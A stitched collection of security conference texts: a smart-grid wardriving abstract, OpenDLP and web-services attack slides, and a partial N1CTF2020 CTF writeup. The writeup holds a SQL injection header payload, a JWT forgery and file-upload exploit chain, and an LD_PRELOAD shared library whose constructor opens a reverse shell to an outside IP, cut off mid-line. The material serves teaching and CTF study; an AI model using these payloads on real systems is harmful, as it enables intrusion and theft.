maybe a reactor and a geothermal plant or two (kidding, mostly), and you've got a few million in stimulus money to do it with, which unfortunately has a shelf life of 24 months or so. Yep, you're probably going wireless. It's quick, it's low-footprint, and all of the vendor whitepapers you read seem to say the right words, "FIPS-140, encrypted, secured transmission, signing certificates", and whatnot. Sure, there are rumblings of standards bodies and requirements definitions, like AMI-Sec and UtiliSec, or even some bazillion-page audit spec from the fossils at NERC. But you need to go live now, you don't have time to wait for committees and subcommittees to ratify some watered-down list of vagaries. And that vendor whitepaper looks fantastic, it really does. It has flow charts and everything. [ The rest of this paper, with actual kung fu beyond random rambling, will be available at http://www.agurasec.com/WardrivingTheSmartGrid/ on the day of the talk. Also, because I don’t think anyone really reads these papers before they go to talks, prove me wrong. Go to that URL, and read the HTML source and we’ll know if you saw this beforehand. ]
pdf
Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP Andrew Gavin Verizon Business Standard Disclaimer • I am representing myself, not my employer, with OpenDLP and this talk • If you get in trouble for using OpenDLP, it is your fault and not mine is your fault and not mine Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Presentation Outline • What is OpenDLP? • Why write it? • How does OpenDLP's agent work? • Benchmarks: Agentless vs agent • Benchmarks: Agentless vs agent • Live demo of agent • Newly-implemented features • Future plans • Q&A Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin What is OpenDLP? • A data discovery tool with two components: Agent and web application • Webapp is LAMP, agent is Windows • Free and open source (GPLv3) • Free and open source (GPLv3) • Useful for: • Compliance personnel • Network/System administrators • Penetration testers Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Why Write It? • Previous to OpenDLP, there was no free agent-based data discovery tool • Other available FOSS tools were all designed to be manually run from a single workstation: • Cornell Spider • Cornell Spider (http://www2.cit.cornell.edu/security/tools) • FindSSN (Sourceforge) • grep • These tools could be hacked as agentless scanners (using network shares) • Not practical for large deployments Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin How does OpenDLP work for agent- based scans? Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Create a Reusable Policy • Administrator authentication credentials • Can also use pass-the-hash technique instead of password • Directories and file extensions to whitelist/blacklist whitelist/blacklist • Memory ceiling for agent (as percent of physical RAM) • Regular expressions to use (PCREs) • Concurrent agents to deploy • Whether to obfuscate sensitive info in database • How often agents phone home with results Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Start a Scan • Agents deployed over SMB • Agents started with Samba's "winexe" • Webapp can concurrently deploy scanners • Deploy agents to 1,000 systems in total • Deploy agents to 1,000 systems in total • Can deploy 30 concurrently to make it faster Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Agents deploy to Windows systems • Runs as a service at low CPU priority • Limits itself to a percent of system memory • Begins running: • Whitelist/blacklists files and directories • Begins searching files for regular expressions • Securely pushes findings to web server every X seconds • When done, agent asks to be uninstalled by web application • Written in C with no .NET requirements Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Monitor Agents in Web Application • Securely receive results every X seconds from agents • Current status of agent (directory listing, scanning) • How many files it has processed • How many bytes it has processed • How many bytes it has processed • Estimated time to completion • Two-way-trusted SSL connection • Can pause or uninstall agents at any time • Automatically deletes and uninstalls agents when done Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Review Results in Web Application • View high level information about entire scans • Each scanner's number of findings • Each scanner's estimated time of completion • View detailed information about specific scans • View detailed information about specific scans • Findings with filenames, byte offsets • Hyperlinks to download files with findings: Target System OpenDLP webapp Web client SMB HTTP Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin So wait a minute… You invented multiplayer grep? You invented multiplayer grep? Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Agent vs Agentless Benchmarks OpenDLP agent's system's specs: • Core2duo P8600 (2.4 GHz) • 4 GB RAM • 7200 RPM, 250 GB HDD • 7200 RPM, 250 GB HDD • 100 mbit network Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Benchmark: OpenDLP Agent OpenDLP run time on one system • 13 regexes scanned 2.05 GB in 01:07:39 • 04:15 to enumerate/blacklist files, read files into memory • 01:03:24 to perform calculations • (Negligible time to install/uninstall agent, upload results) • 1 GB scanned every 32:57 with 13 regexes • Extrapolation: With just one regex = 09:07 • 04:15 to enumerate/blacklist files, read files into memory • 04:52 to perform calculations • 1 GB scanned every 04:45 Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Benchmark: Agentless Agentless scanner's run time for one system • 13 regexes scanned 2.05 GB in 01:20:26 • 17:02 to download/read all files • 01:03:24 to perform calculations • 01:03:24 to perform calculations • 1 GB scanned every 39:10 • Extrapolation: With just one regex = 21:54 • 17:02 to download/read files • 4:52 to perform calculations • 1 GB scanned every 10:40 Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Benchmark Comparison Agent-based vs. agentless for one system • 13 regexes: Agentless 19% slower • 1 regex: Agentless is 130% slower • For one system, performance hit might be worth • For one system, performance hit might be worth not installing agent What if we extrapolate this to more systems? Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Benchmark: Agentless Bottlenecks Agentless with 13 regexes: 01:20:26 • Network (100 mbit): 17:02 wallclock (21.2%) • 16.5 mbit throughput over SMB (directory crawling and file downloading) and file downloading) • On 100 mbit network, can do 6.06 systems concurrently without bottleneck • CPU: 01:03:24 wallclock (78.8%) • On single core, can do 1.27 systems concurrently • On quad core, can do 5.08 systems concurrently Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Benchmark: 1 to 25 systems Agent vs Agentless Time Comparison 25 30 0 5 10 15 20 Hours Number of Systems (1 to 25) Agent Agentless (1 core) Agentless (4 cores) Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Benchmark: 100 to 2,000 systems Agent vs Agentless Time Comparison 70 80 90 100 0 10 20 30 40 50 60 70 Days Number of Systems (100 to 2,000) Agent Agentless (1 core) Agentless (4 cores) Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Agent vs Agentless Benchmark Results Agent-based upsides: • All computations distributed to victim systems • Minimal network traffic • OpenDLP agent is only 1.02 MB compressed • OpenDLP agent is only 1.02 MB compressed • Only logs and results uploaded to webapp Agentless downsides: • All computations done on central system • All files must be downloaded (over SMB) to central system Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Live Demo of Agent Scan Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin New Features • Agentless database scans • Agentless OS filesystem scans Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Agentless Database Scans • Create reusable policy • Database authentication credentials • Whitelist/blacklist DBs, tables, columns • Number of rows to grab (or grab all rows) • PCREs to use • Start scan • Concurrently scan several DBs • Will traverse DB structure just like SQLi • Can pause/resume/kill scans • Currently supports MSSQL and MySQL Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Live Demo of Agentless Database Scan Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Agentless OS Filesystem Scans • Create reusable policy • OS credentials (admin helpful, but not necessary) • Whitelist/blacklist directories and file extensions • Memory ceiling • PCREs to use • Start scan • Start scan • Concurrently scans systems – Theoretically unlimited – More than the ~23 allowed through "net use" hacks • Can pause/resume/kill scans • Currently supports: • MS Windows over SMB • UNIX over SSH (using sshfs) Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Live Demo of OS Filesystem Scans (Windows and Linux) Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Conclusion • OpenDLP: A free tool to rapidly own sensitive data across an entire organization's network • As a pentester, use OpenDLP to: • Add value to your pentest • Add value to your pentest • Show undeniable proof to C-level executives the dangers of data leakage through lax security policies • As a sysadmin/netadmin, proactively identify information before a bad guy finds it Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Future Plans • Scan more databases (Oracle, DB2, …) • More agents (Linux, OSX) • Output in Word/Excel • Trending graphs (Excel/ImageMagick) • Trending graphs (Excel/ImageMagick) • Portable agent (deploy on USB thumbdrive for use during social engineering attacks) • Metasploit integration? • Monitor PCs for network traffic and file copying - See MyDLP project (www.mydlp.org) Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin Availability, Contact Info, Q&A • http://opendlp.googlecode.com • 0.4 source code and binaries • 0.4 Ubuntu-based VirtualBox VM • andrew.opendlp@gmail.com • http://twitter.com/OpenDLP • http://twitter.com/andrew.gavin • Q&A Gone in 60 Minutes: Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP || Twitter: @OpenDLP @andrewgavin
pdf
Information Security Partners, LLC iSECPartners.com Attacking Web Services Alex Stamos alex@isecpartners.com Defcon XIII Scott Stender scott@isecpartners.com www.isecpartners.com Information Security Partners, LLC 2 Introduction • Who are we? – Founding Partners of Information Security Partners, LLC (iSEC Partners) – Application security consultants / researchers • Why listen to this talk? – As you’ll see, Web Services are being deployed all around us – All of this work is based upon our experiences with real enterprise web service applications – There are a lot of interesting research opportunities • Find out what we don’t know • The latest version of these slides and tools are available here: – https://www.isecpartners.com/defcon.html www.isecpartners.com Information Security Partners, LLC 3 Introduction: What are Web Services? • It’s an overloaded term (and a great way to raise VC) • For our purposes, web services are communication protocols that: – Use XML as the base meta-language to define communication – Provide computer-computer communication – Use standard protocols, often controlled by W3C, OASIS, and WS-I – Designed to be platform and transport-independent www.isecpartners.com Information Security Partners, LLC 4 Introduction: What are Web Services? • Why are they so compelling? – Web service standards are built upon well understood technologies – Adoption by large software vendors has been extremely quick – Web services are sometimes described as a panacea to solve interoperability issues – Lots of “magic pixie dust” – Are very easy to write: using System.ComponentModel; using System.Web.Services; namespace WSTest{ public class Test : System.Web.Services.WebService { [WebMethod] public string HelloWorld() { return "Hello World“; } } } www.isecpartners.com Information Security Partners, LLC 5 Introduction: What are Web Services? • Value to corporate management is easy to understand – Fake quote: “Lets expose our Mainframe APIs through SOAP and use plentiful Java developers on Windows/Linux instead of rare CICS developers on expensive mainframes to extend our system’s functionality. If we change our mind about Java, no problem; C#, Perl, Python, C++, and every other language is already compatible with SOAP.” www.isecpartners.com Information Security Partners, LLC 6 What is this talk? • Introduce security risks associated with Web Services • Many of the protocols and issues are familiar – Classic application issues (injection attacks, session management) are still relevant in the WS world – Plenty of new protocols and attack surfaces to research • Prediction: The next couple of years will see an avalanche of vulnerabilities related to web service issues • This talk is not about WS-Security standards – Standards for crypto, authorization, authentication, etc… are necessary and important – Like TLS, standards like this are good building blocks, but do not eliminate vulnerabilities in an application – Ex: SSL doesn’t protect against SQL injection www.isecpartners.com Information Security Partners, LLC 7 Where are Web Services being used? • Between Companies (B2B) – Web services are being deployed to replace or supplement older data exchange protocols, such as EDI – 3rd party standards limit “Not Invented Here” syndrome – Example: Credit Card Clearer -> Bank -> Credit Bureau -> Lender – Lots of opportunity for savings here • Internal to Companies – All major corporate software vendors have or will offer web service interfaces to their applications • IBM, Microsoft, SAP, Oracle – Web service standards make connecting systems easy • This is great for IT management and productivity • This should be scary to security people www.isecpartners.com Information Security Partners, LLC 8 Where are Web Services being used? • In front of legacy systems – Finding people to develop on these systems is hard – Reliance on old software and systems restricts growth and improvement of corporate IT systems – Solution: Web service gateway in front of legacy system – IBM is a big mover in this middleware – Security in these situations is extremely tricky • Between tiers of Web Applications – Front end is HTML/XHTML – Backend of SQL is replaced by SOAP – WS enabled databases consume these streams – Makes “XML Injection” very interesting www.isecpartners.com Information Security Partners, LLC 9 Where are Web Services being used? • On consumer facing web pages – AJAX: Asynchronous JavaScript and XML • maps.google.com – As APIs to add functionality • EBay • Google Search • Amazon • Bank of America www.isecpartners.com Information Security Partners, LLC 10 Code Breaks Free… • At one point, nobody worried about providing rich functionality to the public Internet • People decided this was a bad idea and put up firewalls – Only HTTP, HTTPS, SMTP allowed from the outside… • Web Services tunnel that functionality through ports often deemed “safe” • Rich functionality once again hits the public Internet • Let’s propose a new slogan: We poke holes in your firewall so you don’t have to! www.isecpartners.com Information Security Partners, LLC 11 Attacks on Web Services • Web Services have been designed to be everything-agnostic – Variety of technologies may be encountered at any layer • This talk focuses on those commonly encountered • We will discuss security issues at three layers: – Application – SOAP – XML www.isecpartners.com Information Security Partners, LLC 12 Application Attacks • Every (most) applications accomplish something useful – There is always something to attack • Application-specific flaws don’t magically go away – Design Flaws – Business Logic Errors – “Bad Idea” Methods (see UDDI discovery) • The same issues (OWASP Top 10) that have plagued us for years still exist www.isecpartners.com Information Security Partners, LLC 13 Application Attacks • SQL Injection – Most web service applications are still backed by databases – SOAP/XML provide means to escape/obfuscate malicious characters • Overflows in unmanaged code • Mistakes is authorization/authentication • XSS – Rich data representation allows charset games with browsers – Technologies such as AJAX allow new possibilities in XSS attacks • Creating a well formed SOAP request can be difficult – Attacks against other interfaces (such as internal customer support) more likely www.isecpartners.com Information Security Partners, LLC 14 Our Friend: CDATA Field • XML has a specific technique to include non-legal characters in data, the CDATA field – Developers assume that certain data types cannot be embedded in XML, and these assumptions can lead to vulnerabilities – When querying a standard commercial XML parser, the CDATA component will be stripped • The resulting string contains the non-escaped dangerous characters • Existence of CDATA tags is hidden from developer – Where is your input filtering? • Where to use this? – SQL Injection – XML Injection – XSS (Against a separate web interface) • Example: <TAG1> <![CDATA[<]]>SCRIPT<![CDATA[>]]> alert(‘XSS’); <![CDATA[<]]>/SCRIPT<![CDATA[>]]> </TAG1> www.isecpartners.com Information Security Partners, LLC 15 SOAP Attacks • SOAP is a standard which defines how to use XML to exchange data between programs – Designed to capture RPC-style communication – Generally over HTTP/S, but this isn’t required • MQ, SMTP, Carrier Pigeon • The “magic” of Web Services begins – Programming infrastructure turns 9-line code sample into full-fledged web service – Ease of deployment sometimes masks deeper security issues • Serialization • Schema Validation – Attacks against layers of the stack are often left open www.isecpartners.com Information Security Partners, LLC 16 SOAP Attacks • SOAP Interfaces are described using Web Services Description Language (WSDL) – WSDLs can be quite complicated – Generally not created or consumed by human being • Auto-generated by WS framework • No access controls generally enforced on WSDLs – Requesting a WSDL can be as simple as adding a ?WSDL argument to the end of the URL • http://labs.isecpartners.com/blackhat.html?WSDL – Attack: WSDLs give away all of the sensitive information needed to attack a web service. This includes “hidden” methods that developers might not want exposed www.isecpartners.com Information Security Partners, LLC 17 Example WSDL: EBay Price Watching <?xml version="1.0"?> <definitions name="eBayWatcherService" targetNamespace= "http://www.xmethods.net/sd/eBayWatcherService.wsdl" xmlns:tns="http://www.xmethods.net/sd/eBayWatcherServi ce.wsdl" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <message name="getCurrentPriceRequest"> <part name="auction_id" type = "xsd:string"/> </message> <message name="getCurrentPriceResponse"> <part name="return" type = "xsd:float"/> </message> <portType name="eBayWatcherPortType"> <operation name="getCurrentPrice"> <input message="tns:getCurrentPriceRequest" name="getCurrentPrice"/> <output message="tns:getCurrentPriceResponse" name="getCurrentPriceResponse"/> </operation> </portType> <binding name="eBayWatcherBinding" type="tns:eBayWatcherPortType"> <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/ > <operation name="getCurrentPrice"> <soap:operation soapAction=""/> <input name="getCurrentPrice"> <soap:body use="encoded" namespace="urn:xmethods-EbayWatcher" encodingStyle="http://schemas.xmlsoap.org/soap/en coding/"/> </input> <output name="getCurrentPriceResponse"> <soap:body use="encoded" namespace="urn:xmethods-EbayWatcher" encodingStyle="http://schemas.xmlsoap.org/soap/en coding/"/> </output> </operation> </binding> … www.isecpartners.com Information Security Partners, LLC 18 SOAP Attacks • SOAP Headers – Provide instructions on how a message should be handled • Often not necessary in basic applications • Still parsed/obeyed by WS frameworks • So many standards, so many attack surfaces – Attack: DoS in Processing Instructions – Attack: Source routing used to bypass security checks • SOAPAction Header – Sometimes needed, sometimes filtered to attempt to remove soap requests. Often not required at all. – Attack: Bypass protections that rely on SOAPAction www.isecpartners.com Information Security Partners, LLC 19 SOAP Attacks • Session management – SOAP, like HTTP, is stateless! – Developers need to program their own state mechanism. Options include: • In-line SessionID, defined • Cookie in header – SOAP is transport independent, so a message should be able to be passed without session information from the transport, such as a HTTP cookie • Often used, but it’s a hack • Attack: Cookies might be stripped at the web server, or not properly routed to the part of the app where decisions are being made. Watch out! – New WS-I cryptographic standards might allow developers to bootstrap state – Classic state attacks work • Predictable IDs are still predictable • But, XSS can’t easily access in-band stateID – Attack: SOAP, being stateless, is extremely vulnerable to replay attacks www.isecpartners.com Information Security Partners, LLC 20 XML Introduction • What is XML? – A standard for representing diverse sets of data • Representing data is hard work! – Binary Data – Internationalization – Representing metacharacters in data – Defining and Validating schemas – Parsing mechanisms • Attacks – Source-specified code page masks malicious characters – Complex/large DTD takes down parser – Injection attacks www.isecpartners.com Information Security Partners, LLC 21 XML Introduction • Based on a few basic but strict rules: – Declarations – Tags must open and close – Tags must be properly nested – Case sensitive – Must have a root node • Why do we care about the rules? – Attacking web services generally means creating valid XML – If your XML doesn’t parse right, it gets dropped early on – Fuzzing XML structure might be fun, but you’re only hitting the parser • Simple example: <product itemID=“1234"> <manufacturer>Toyota</manufacturer> <name>Corolla</name> <year>2001</year> <color>blue</color> <description>Excellent condition, 100K miles</description> </product> www.isecpartners.com Information Security Partners, LLC 22 XML Introduction - Parsing • XML Documents are defined by: – DTD: Old Standard – XSD: Current Method – Attack: Reference external DTD, allows tracking of document and parsing attacks • There are two standard types of XML parsers used across platforms – SAX: State-oriented, step-by-step stream parsing • Lighter weight, but not as intelligent • Attack: User controlled data overwrites earlier node. – DOM: Complicated, powerful parsing • Attack: DoS by sending extremely complicated, but legal, XML. – Creates huge object in memory • Why use other types of floods to attack? XML parsing gives a much larger multiplier • XPath engines provide query interface to XML documents – Like other interpreted query languages, XPath injections are possible. • Always a bad idea: custom parsers – “I can use a RegEx for that” – It is common to simulate SAX parsers as they are simple conceptually. – Plenty of devils in the details: XML tags inside CDATA block, Entity substitution www.isecpartners.com Information Security Partners, LLC 23 XML Attacks • Emerging attack class: XML Injection – Occurs when user input passed to XML stream – XML parsed by second-tier app, Mainframe, or DB – XML can be injected through application, stored in DB • When retrieved from DB, XML is now part of the stream <UserRecord> <UniqueID>12345</UniqueID> <Name>Henry Ackerman</Name> <Email>hackerman@bad.com</Email><UniqueID>0</UniqueID><Email>hackerman@bad.co m</Email> <Address>123 Disk Drive</Address> <ZipCode>98103</ZipCode> <PhoneNumber>206-123-4567</PhoneNumber> </UserRecord> SAX Parser Result: UniqueID=0 www.isecpartners.com Information Security Partners, LLC 24 Web Services DoS • Like all DoS, looking for multiplier advantage – CPU Time • Extremely deep structures require CPU time to parse and search • References to external documents – Cause network timeout during parsing, may block process • Creating a correct DOM for complex XML is not trivial – Memory Space • Deep and broad structures • Large amounts of data in frequently used fields will be copied several times before being deleted • Memory exhaustion can be difficult against production systems, but creating garbage collection / VM overhead might slow the system – Database Connections • Despite low CPU/mem load, filling the DB request queue can wait state an application to death • Need to find a good SOAP request that does not require auth, but results in a heavy DB query – Perfect example: Initial User Authentication • Common database can be a single point of failure for multiple application servers www.isecpartners.com Information Security Partners, LLC 25 Web Services DoS • In any WS DoS case, there are important details to make the attack effective – Legality of SOAP request • Matches DTD/XSD Syntax. This might not preclude embedding complex structures! • Matches real SOAP Method – Anything that “burrows” deeper into the application stack causes more load – Especially important when attacking databases • Might need a valid session ID – Authenticate once with a real SOAP stack, then use the SessionID/cookie into the static attack – Speed • We use multiple processes • Making a request is relatively heavy compared to other DoS – Requires a real TCP connection – Don’t use a SOAP framework. Most of the multiplier is lost – Need to listen for response for some attacks • We often run into limitations of the underlying script framework – Native framework would increase effectiveness of DoS • We are currently researching more possibilities – Attacks against XPath equivalent to recent RegEx DoS – Using HTTP 1.1 pipelining to speed attack – SOAP equivalents of “teardrop” attacks against state: multiple fragmented requests www.isecpartners.com Information Security Partners, LLC 26 Web Service Discovery Methods • UDDI – Registries that list web services across multiple servers – Auto-magically works on some systems, such as .Net – Multiple authorities have created classification schemes • Winner is not yet clear – Not necessary to expose to world • B2B services that were always insecure were at least secret • Now advertised to entire world • UDDI servers support authentication and access control, but this is not the default (or common) configuration – Attack: UDDI points an attacker to all the information they need to attack a web service • UDDI Business Registry (UBR) – Four major servers, run by IBM, Microsoft, SAP, and NTT – Has beautiful, searchable interface to find targets • Obviously, also searchable by web services – Attack: No binding authentication of registry • New WS-Security standards are building a PKI to authenticate UBR->Provider->Service • Confusion might be an attackers friend – Who needs nmap? UBR points you right to the source! www.isecpartners.com Information Security Partners, LLC 27 UBR Example www.isecpartners.com Information Security Partners, LLC 28 Web Service Discovery • Other 3rd Party Registries – http://www.xmethods.com/ has an excellent list of fun services • DISCO / WS-Inspection – Lightweight versions of UDDI – Provides information about a single server’s web services • We have created a discovery tool: WSMap – Scans a defined set of IPs for known app server URLs – “Tickles” WS endpoint with SOAP requests to generate telltale error – Looks for WSDLs – (Almost) identifies the application server www.isecpartners.com Information Security Partners, LLC 29 Attack Tree: Tying it all Together • Navigate to UBR, ask for a site • Attach to UDDI, ask for WSDL • Examine WSDL, find dangerous methods • Use fuzzer to test methods, find XML Injection • Profit! www.isecpartners.com Information Security Partners, LLC 30 OWASP Top 10 – Still Relevant? 1. Unvalidated Input 2. Broken Access Control 3. Broken Authentication and Session Management 4. Cross Site Scripting (XSS) Flaws 5. Buffer Overflows 6. Injection Flaws 7. Improper Error Handling 8. Insecure Storage 9. Denial of Service 10.Insecure Configuration Management The answer to all of these is yes. www.isecpartners.com Information Security Partners, LLC 31 Conclusion • Web Services are powerful, easy-to-use, and open. – AKA: they are extraordinarily dangerous – Many crusty corporate secrets will now be exposed • Lots of security work still required – Analysis of rapidly developing Web Services standards • WS-Security • WS-Routing • WS-”Everything” – Attack Tools • Better proxies • More efficient DoS • Better automated discovery – Define best practices for development • “XML Firewall” vendors want this to be a hardware solution • Like all good security, it really needs to be baked into the product by the engineers closest to the work – PKI Infrastructure for Authentication • Who will control the cryptographic infrastructure? www.isecpartners.com Information Security Partners, LLC 32 Web Services Security Q&A Alex Stamos alex@isecpartners.com Scott Stender scott@isecpartners.com
pdf
N1CTF2020 Writeup Author:Nu1L Team WEB signin GinDriver Design Information Gathering Webauthn Reverse Engineering Identity Forgery Arbitrary File Uploading Arbitrary File Reading Get Shell Easy_tp5 Expected solution Unexpected 1 Unexpected 2 Unexpected 3 Unexpected 4 It's half expected 5 Zabbix_fun Docker_manager The King Of Phish Victim Bot UserA-PC DC Pwn SignIn EasyWrite Babyrouter Unexcepted Excepted Escape Echoserver Kemu W2L Crypto VSS BabyProof Zero-knowledge proof HNP Code Curve Easy RSA? Factor N solve LWE code FlagBot Reverse Oflo Oh My Julia EasyAPK Fixed Camera N1vault EasyRE Auth BabyCompiler BabyOS Rrr Misc Filters Intended solution Case ABCDEFGHI Conclusion Unintended solution GinDriver Revenge N1egg N1egg In Fixed Camera WEB signin payload here: GET /? input=O%3A4%3A%22flag%22%3A1%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A0%3A%7B% 7D%7D HTTP/1.1 Host: 101.32.205.189 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate X-Forwarded-For: 123.123.123.13' or updatexml(1,concat(0x7e,(select if((select substr(version(),2,1)='.'),'n1ctf',1))),0) or ' Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close key is in database,but if u use select key from n1key ,u cannot find it.Why? GinDriver Design This challenge is designed into two separated part, as we can see in the platform are GinDriver and GinDriver Revenge . In fact, the original idea is inspired by plusls, that he found a trick that may leading to RCE by uploading a malicious dynamic-link library and .pam_environment file to bypass sshd mechanism (inspired by CVE-2015-8325 ). So, I designed the first part to make a springboard helping challengers finding a way leaping to the second part. The overall design is described below: GinDriver: A misusing of JWT signing mechanism leading to identity forgery, and overwriting config file through file uploading to launch MySQL client LOAD DATA LOCAL INFILE attack gaining arbitrary file reading. GinDriver Revenge: A reverse shell can be triggered while ssh server accepted a new connection by uploading .pam_environment file to inject LD_PRELOAD environment which is pointed to a malicious dynamic-link library. Information Gathering As the giving attachment, it's quiet easy to determine that backend service is developed by golang and Gin framework. Frontend is developed by umi and React. The challenge using Webauthn to authenticate users, and authenticated user will redirect to file uploading part, while the file uploading function is admin only. Webauthn According to W3C Recommendation, Webauthn has two main flows described as two figures below. Registration Flow: Relying Party Server Authenticator challenge, user info, relying party info relying party id , user info, relying party info, clientDataHash new public key, credential id, attestation clientDataJSON, attestationObject 1 2 5 4 3 user verification, new keypair, attestation attestationObject Browser RP JavaScript Application 6 0 server validation AuthenticatorAttestationResponse PublicKeyCredentialCreationOptions Authentication Flow: Relying Party Server Authenticator challenge relying party id, clientDataHash authenticatorData signature clientDataJSON, authenticatorData, signature 1 2 5 4 3 user verification, create assertion Browser RP JavaScript Application 6 0 server validation AuthenticatorAssertionResponse PublicKeyCredentialRequestOptions WebAuthnAPI As we can see, public key replaced password, playing an important role in Webauthn authentication. Reverse Engineering Through IDA, we can easily analyze internal logic. First of all, we can assume the following route: The critical point is in LoginRequired middleware. This middleware decodes Authorization header, gets JWT payloads and check signature using user-specific Webauthn public key, which is uploaded by user. Static router:   GET /pubkeys/ -> ./public/pubkeys API router:   POST /api/auth/register/begin   PATCH /api/auth/register/:name/finish   GET /api/auth/login/:name/begin   PATCH /api/auth/login/:name/finish Login Required router:   GET /api/user/:name   POST /api/user/file/upload In file uploading part, we can even find path traversal vulnerability in blackbox, that can upload arbitrary file to any location with sufficient write permission. Last but not least, in main , configor is configured to auto reload config file while it has been changed, and execute database auto migration. From now, we may figure out an exploit chain in this web challenge: Identity Forgery -> Arbitrary File Uploading -> Overwrite Config File -> Database Auto Migration -> MySQL LOAD DATA LOCAL INFILE -> Arbitrary File Reading Identity Forgery According to the analysis above, we can now using the public key of admin to forge JWT token, gaining file uploading. Notice that there's a new line ( \n ) in the admin.pub . So, we can easily forge an admin JWT token by accessing jwt.io. Add it to authorization header, and send via burp to confirm. Arbitrary File Uploading After forged admin JWT token, we can now upload config file to overwrite existing one, waiting config file auto reload and database auto migration to trigger MySQL LOAD DATA LOCAL INFILE . Arbitrary File Reading By trigger MySQL LOAD DATA LOCAL INFILE , we can easily gaining arbitrary file reading to read flag under /flag .ol... Get Shell By upload public key to ~/.ssh/authorized_keys , attacker can access the server via openssh. After write pubic key, attacker can write ~/.pam_environment and upload malicious file /tmp/exp.so . ~/.pam_environment curl https://web.c7466953fb.nu1lctf.com/pubkeys/admin.pub -v > GET /pubkeys/admin.pub HTTP/2 > Host: web.c7466953fb.nu1lctf.com > User-Agent: curl/7.64.0 > Accept: */* > < HTTP/2 200 < server: openresty/1.17.8.2 < date: Mon, 19 Oct 2020 05:25:59 GMT < content-type: text/plain; charset=utf-8 < content-length: 36 < accept-ranges: bytes < last-modified: Mon, 19 Oct 2020 05:24:59 GMT < A_sup3r_Sup3r_S3cret_PUBBBBBBB_k3y? * Connection #0 to host web.c7466953fb.nu1lctf.com left intact source of exp.so At last, try to login www-data via openssh, ld will auto load /tmp/exp.so and reverse shell to 114.5.1.4:1919 Easy_tp5 In the just concluded n1ctf2020, I released a tp5.0.0 + php7 with rce vulnerability. But there are some restrictions 1. The common think\__include_file must end in .PHP . 2. The deserialization function and other single parameter dangerous functions are disabled。 3. open_basedir is set to the web directory, so the session in the /tmp/ directory cannot be used. In addition, the log function of TP5 is disabled. LD_PRELOAD DEFAULT=/tmp/exp.so // gcc exp.c -o exp.so -shared #include <stdio.h> #include <stdlib.h> #include <unistd.h> void getShell() __attribute__((constructor)); void getShell() {    char *argv[] = {        "/bin/sh",        "-c",        "/bin/bash -c \"/bin/bash -i 